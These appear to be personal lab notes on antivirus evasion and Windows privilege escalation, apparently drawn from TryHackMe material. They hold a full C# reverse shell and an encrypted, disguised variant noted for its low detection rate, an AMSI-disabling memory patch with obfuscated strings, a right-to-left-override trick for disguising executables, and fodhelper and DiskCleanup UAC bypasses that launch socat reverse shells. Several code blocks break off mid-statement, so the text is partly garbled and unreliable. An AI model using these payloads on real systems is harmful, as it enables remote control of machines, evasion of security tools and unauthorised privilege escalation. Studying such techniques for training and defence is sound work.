static void Dummy1()
{
int a = 1;
int b = 2;
int c = 3;
int d = 4;
int e = 5;
int f = 6;
int g = 7;
int h = 8;
int i = 9;
int j = 10;
int k = 11;
int l = 12;
int m = 13;
int n = 14;
int o = 15;
int p = 16;
int q = 17;
int r = 18;
int s = 19;
int t = 20;
int u = 21;
int v = 22;
int w = 23;
int x = 24;
int y = 25;
int z = 26;
}
// Dummy code inserted to confuse decompilers
static void Dummy2()
{
string s1 = "hello";
string s2 = "world";
string s3 = "!";
string s4 = "1";
string s5 = "2";
string s6 = "3";
string s7 = "4";
string s8 = "5";
string s9 = "6";
string s10 = "7";
string s11 = "8";
string s12 = "9";
string s13 = "0";
}
}
}Metadata or unused code removal
Eliminates unnecessary information from the code: This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.
// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximumOpaque predicate insertion
Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace OpaquePredicateInsertionExample
{
class Program
{
static void Main(string[] args)
{
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
else
{
OpaquePredicate();
}
return z;
}
// Opaque predicate inserted to confuse decompilers
static void OpaquePredicate()
{
if (DateTime.Now.Ticks % 2 == 0
{
int a = 1;
int b = 2;
int c = 3;
int d = 4;
int e = 5;
int f = 6;
int g = 7;
int h = 8;
int i = 9;
int j = 10;
int k = 11;
int l = 12;
int m = 13;
int n = 14;
int o = 15;
int p = 16;
int q = 17;
int r = 18;
int s = 19;
int t = 20;
int u = 21;
int v = 22;
int w = 23;
int x = 24;
int y = 25;
int z = 26;
}
}
}
}Anti-Debug
Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace AntiDebuggingExample
{
class Program
{
static void Main(string[] args)
{
if (IsDebuggerAttached())
{
Console.WriteLine("Debugger detected!");
return;
}
int a = 10;
int b = 20;
int result = Add(a, b);
Console.WriteLine(result);
}
static int Add(int x, int y)
{
int z = x + y;
if (z < 0)
{
z = -z;
}
return z;
}
// Check if a debugger is attached to the process
static bool IsDebuggerAttached()
{
bool isDebuggerAttached = false;
try
{
isDebuggerAttached = System.Diagnostics.Debugger.IsAttached;
}
catch
{
// Ignore exceptions
}
return isDebuggerAttached;
}
}
}Encryption
This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace StringEncryptionExample
{
class Program
{
static void Main(string[] args)
{
string secretMessage = Decrypt("jkpmttwmtdvwuvuqtm");
Console.WriteLine(secretMessage);
}
static string Decrypt(string encryptedMessage)
{
byte[] bytes = Encoding.ASCII.GetBytes(encryptedMessage);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = (byte)(bytes[i] - 1);
}
return Encoding.ASCII.GetString(bytes);
}
}
}Tokenization
This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.
using System;
namespace TokenizationExample
{
class Program
{
static void Main(string[] args)
{
// Declare a variable with a tokenized name
string v_a_r_i_a_b_l_e = "Hello, world!";
// Print the value of the variable
Console.WriteLine(v_a_r_i_a_b_l_e);
}
}
}Byte shuffle
Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .
For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense.
For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ByteShuffleObfuscationExample
{
class Program
{
static void Main(string[] args)
{
byte[] bytes = new byte[] { 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 33 };
string message = Encoding.ASCII.GetString(Shuffle(bytes));
Console.WriteLine(message);
}
static byte[] Shuffle(byteExample reverse shell using C# - Encryption and Byte shuffle
The obfuscated code have low detection rate.

// Non obfuscated C# reverse shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using (TcpClient client = new TcpClient("10.10.10.10", 9001))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while (true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}// Obfuscated using encryption and byte shuffle
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Text;
namespace ConnectionBack
{
public class SecurityAssessment
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
// Create a new TCP client object
TcpClient client = new TcpClient();
// Connect to a remote host using a decrypted IP address and port number
client.Connect(Decrypt("wplS5f1GpB", "hY4k9d3FtI"));
// Get the network stream associated with the client
Stream stream = client.GetStream();
// Create a stream reader to read data from the stream
StreamReader reader = new StreamReader(stream);
// Create a stream writer to write data to the stream
streamWriter = new StreamWriter(stream);
// Create a new process object
Process process = new Process();
// Set the file name of the process to be a decrypted string (probably cmd.exe)
process.StartInfo.FileName = Decrypt("RJFmS41wEagls40=", "Mjy9m4Lk4m");
// Do not create a window for the process
process.StartInfo.CreateNoWindow = true;
// Do not use shell execute (use native code instead)
process.StartInfo.UseShellExecute = false;
// Redirect standard output, input and error streams of the process
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.RedirectStandardError = true;
// Add an event handler for when data is received on standard output
// This will send the output back to the remote host via stream writer
process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
// Start the process
process.Start();
// Begin reading asynchronously from standard output
process.BeginOutputReadLine();
// Loop forever
while (true)
{
// Create a string builder to store input
StringBuilder input = new StringBuilder();
// Read a line from the stream reader (from remote host)
input.Append(reader.ReadLine());
// Write the input line to standard input of the process (execute command)
process.StandardInput.WriteLine(input);
// Clear the input string builder
input.Remove(0, input.Length);
}
}
private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
{
// Create a string builder to store output
StringBuilder output = new StringBuilder();
// If there is some data received on standard output
if (!String.IsNullOrEmpty(outputLine.Data))
{
try
{
// Append it to output string builder
output.Append(outputLine.Data);
// Write it to stream writer (to remote host)
streamWriter.WriteLine(output);
streamWriter.Flush();
}
catch (Exception) { }Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick
https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw
rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)
Signature Evasion
Signature Identification
When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.
We can use the native utilities head, dd, or split to split a compiled binary.

Automatic Signature Identification
DefenderCheck
GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.

Find-AVSignature.ps1
PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub
PS C:\> . .\FInd-AVSignature.ps1
PS C:\> Find-AVSignature
cmdlet Find-AVSignature at command pipeline position 1
Supply values for the following parameters:
StartByte: 0
EndByte: max
Interval: 1000
Do you want to continue?
This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): yThreatCheck
ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.
C:\Users\Rasta>ThreatCheck.exe -f Downloads\Grunt.bin -e AMSI
[+] Target file size: 31744 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x6D7A
00000000 65 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 e·"·:·"·{·2·}·"·
00000010 2C 00 22 00 74 00 6F 00 6B 00 65 00 6E 00 22 00 ,·"·t·o·k·e·n·"·
00000020 3A 00 7B 00 33 00 7D 00 7D 00 7D 00 00 43 7B 00 :·{·3·}·}·}··C{·
00000030 7B 00 22 00 73 00 74 00 61 00 74 00 75 00 73 00 {·"·s·t·a·t·u·s·
00000040 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C 00 "·:·"·{·0·}·"·,·
00000050 22 00 6F 00 75 00 74 00 70 00 75 00 74 00 22 00 "·o·u·t·p·u·t·"·
00000060 3A 00 22 00 7B 00 31 00 7D 00 22 00 7D 00 7D 00 :·"·{·1·}·"·}·}·
00000070 00 80 B3 7B 00 7B 00 22 00 47 00 55 00 49 00 44 ·?³{·{·"·G·U·I·D
00000080 00 22 00 3A 00 22 00 7B 00 30 00 7D 00 22 00 2C ·"·:·"·{·0·}·"·,
00000090 00 22 00 54 00 79 00 70 00 65 00 22 00 3A 00 7B ·"·T·y·p·e·"·:·{
000000A0 00 31 00 7D 00 2C 00 22 00 4D 00 65 00 74 00 61 ·1·}·,·"·M·e·t·a
000000B0 00 22 00 3A 00 22 00 7B 00 32 00 7D 00 22 00 2C ·"·:·"·{·2·}·"·,
000000C0 00 22 00 49 00 56 00 22 00 3A 00 22 00 7B 00 33 ·"·I·V·"·:·"·{·3
000000D0 00 7D 00 22 00 2C 00 22 00 45 00 6E 00 63 00 72 ·}·"·,·"·E·n·c·r
000000E0 00 79 00 70 00 74 00 65 00 64 00 4D 00 65 00 73 ·y·p·t·e·d·M·e·s
000000F0 00 73 00 61 00 67 00 65 00 22 00 3A 00 22 00 7B ·s·a·g·e·"·:·"·{AmsiTrigger
GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings
AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.
PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)Static Code-Based Signatures
Once we have identified a troublesome signature we need to decide how we want to deal with it.
Obfuscating methods
| Obfuscation Method | Purpose |
| Method Proxy | Creates a proxy method or a replacement object |
| Method Scattering/Aggregation | Combine multiple methods into one or scatter a method into several |
| Method Clone | Create replicas of a method and randomly call each |
Obfuscating Classes
| Obfuscation Method | Purpose |
| Class Hierarchy Flattening | Create proxies for classes using interfaces |
| Class Splitting/Coalescing | Transfer local variables or instruction groups to another class |
| Dropping Modifiers | Remove class modifiers (public, private) and make all members public |
Splitting and Merging Objects
The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.
Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence
Original String
Below is the original string that is detected
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";Obfuscated Method
Below is the new class used to replace and concatenate the string.
public static string GetMessageFormat // Format the public method
{
get // Return the property value
{
var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
sb.Append(@"""Type"":{1},"); // Append substrings onto the string
sb.Append(@"""Meta"":""{2}"",");
sb.Append(@"""IV"":""{3}"",");
sb.Append(@"""EncryptedMessage"":""{4}"",");
sb.Append(@"""HMAC"":""{5}""}}");
return sb.ToString(); // Return the concatenated string to the class
}
}
string MessageFormat = GetMessageFormatRemoving and Obscuring Identifiable Information
The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.
In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it.
Original
This code loads the Kernel32 type, retrieves the address of the AmsiScanBuffer function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);Obscured
$MethodDefinition = "
[DllImport(`"kernel32`")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(`"kernel32`")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport(`"kernel32`")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);Static Property-Based Signatures
Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.
File hashes
A file hash, also known as a checksum, is used to tag/identify a unique file.
If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash.
When dealing with a signed or closed-source application, we must employ bit-flipping.
Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.
using System;
using System.IO;
class Program
{
static void Main(string[] args)
{
byte[] orig = File.ReadAllBytes(args[0]);
for (int i = 0; i < orig.Length; i++)
{
byte[] current = new byte[orig.Length];
Array.Copy(orig, current, orig.Length);
current[i] = (byte)(current[i] ^ 0xde);
string path = $"{i}.exe";
File.WriteAllBytes(path, current);
}
Console.WriteLine("done");
}
}This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (i.exe). The ^ operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed.
Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping msbuild, we need to use signtool to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.
We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a flipped\\%%A.exe
)Entropy
Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.

Behavioral Signatures
Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.
Windows Sockets 2 - Win32 apps | Microsoft Learn
Find Syntax for API calls
How to inspect Import Address Table (IAT)
.EXE
To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:
- Using Dependency Walker (Windows):
- Download and install Dependency Walker from the official website: http://www.dependencywalker.com/
- Launch Dependency Walker and open the EXE file you want to inspect.
- It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.
- Using PEView (Windows):
- Download and install PEView from the official website: http://wjradburn.com/software/
- Launch PEView and open the EXE file you want to inspect.
- Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT.
- Using objdump (Linux):
- Open a terminal and navigate to the directory where the EXE file is located.
- Run the following command to display the IAT:
objdump -p <binary_file>
- Replace
<binary_file>with the name of your EXE file.
- Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
2. Using PE Explorer
PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)
3. Using IDA Pro
- Load the PE binary
- Once loaded, click on the "Imports" tab.
- Look for the API calls.

.ELF
To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:
- Using readelf (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the dynamic section and imported symbols:
readelf -d <binary_file>
Replace <binary_file> with the name of your ELF file.
- Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
- Using objdump (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the dynamic section and imported symbols:
objdump -p <binary_file>
Replace <binary_file> with the name of your ELF file.
- Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
- Using nm (Linux):
- Open a terminal and navigate to the directory where the ELF file is located.
- Run the following command to display the symbols and their associated libraries:
nm -D <binary_file>
Replace <binary_file> with the name of your ELF file.
- Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions.
High-level Dynamic Loading in C
At a high level, we can break up dynamic loading in C languages into four steps,
- Define the structure of the call
- Obtain the handle of the module the call address is present in
- Obtain the process address of the call
- Use the newly created call
To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for GetComputerNameA can be found here. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.
// 1. Define the structure of the call
typedef BOOL (WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly kernel32.dll or ntdll.dll for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.
// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the LoadLibrary call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.
// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, GetProcAddress and LoadLibraryA are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using PIC (Position Independent Code). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using API unhooking.
Task
Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.
Original
#include
#include
#include
int main() {
printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
if (GetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}Obfuscated
#include
#include
#include
// 1. Define the structure of the call
typedef BOOL(WINAPI* myNotGetComputerNameA)(
LPSTR lpBuffer,
LPDWORD nSize
);
int main() {
// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");
printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
CHAR hostName[260];
DWORD hostNameLength = 260;
if (notGetComputerNameA(hostName, &hostNameLength)) {
printf("hostname: %s\\n", hostName);
}
}UAC Bypass
User Account Control
What is UAC?
User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized.
Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file.
Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled.
- UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk.
- UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.

Integrity Levels
UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.
UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas.
In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.
The following 4 ILs are used by Windows, ordered from lowest to highest:
| Integrity Level | Use |
| Low | Generally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions. |
| Medium | Assigned to standard users and Administrators' filtered tokens. |
| High | Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token. |
| System | Reserved for system use. |
Filtered Tokens
To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:
- Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
- Administrators will receive two access tokens:
Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.
- Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.
UAC Internals
At the heart of UAC, we have the Application Information Service or Appinfo. Whenever a user requires elevation, the following occurs:
- The user requests to run an application as administrator.
- A ShellExecute API call is made using the runas verb.
- The request gets forwarded to Appinfo to handle elevation.
- The application manifest is checked to see if AutoElevation is allowed (more on this later).
- Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.
- If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
UAC - GUI based Bypass
msconfig




azman.msc







UAC - Auto-elevating Process
Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows.
For an application, some requirements need to be met to auto-elevate:
- The executable must be signed by the Windows Publisher
- The executable must be contained in a trusted directory, like
%SystemRoot%/System32/' or%ProgramFiles%/
Some application may have additional requirments:
- Executable files (.exe) must declare the autoElevate element inside their manifests.
To check a file's manifest, we can use sigcheck.
C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...
true
trueCase study: Fodhelper
This will be caught by Windows defender without obfuscation because of registry-key manipulation.
# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe
# Define the command you want to execute with elevated privileges
$yourevilcommand = "C:\Windows\System32\cmd.exe"
# Adding all the registry keys required to associate your command with ms-settings
# Create a new registry key for the ms-settings ProgID under the current user's hive
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
# Set the default value of the ms-settings ProgID key to your evil command
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -ForceUAC - Improving Fodhelper exploit to Bypass Windows Defender
Instead of writing our payload into HKCU\Software\Classes\ms-settings\Shell\Open\command', we will use the CurVer' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.
To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.
The exploit code proposed by @V3ded.
This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.
# Define the command you want to execute with elevated privileges
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes"
# Creating file association for custom extension ".pwn" to execute your command
# Create a new registry key for the file extension ".pwn" under the current user's hive
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
# Set the default value of the ".pwn" key to your program/command
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
# Create a new registry key under the current user's hive for the ms-settings ProgID association
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle HiddenCase study: Disk Cleanup Scheduled Task
Source: TryHackMe | Bypassing UAC
To understand why we are picking Disk Cleanup, let's open the Task Scheduler and check the task's configuration:
Here we can see that the task is configured to run with the Users account, which means it will inherit the privileges from the calling user. The Run with highest privileges option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work.
Checking the Actions and Settings tabs, we have the following:
The task can be run on-demand, executing the following command when invoked:
%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.
Luckily for us, we can override the %windir% variable through the registry by creating an entry in HKCU\Environment'. If we want to execute a reverse shell using socat, we can set %windir% as follows (without the quotes):
"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM "At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after %windir% when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):
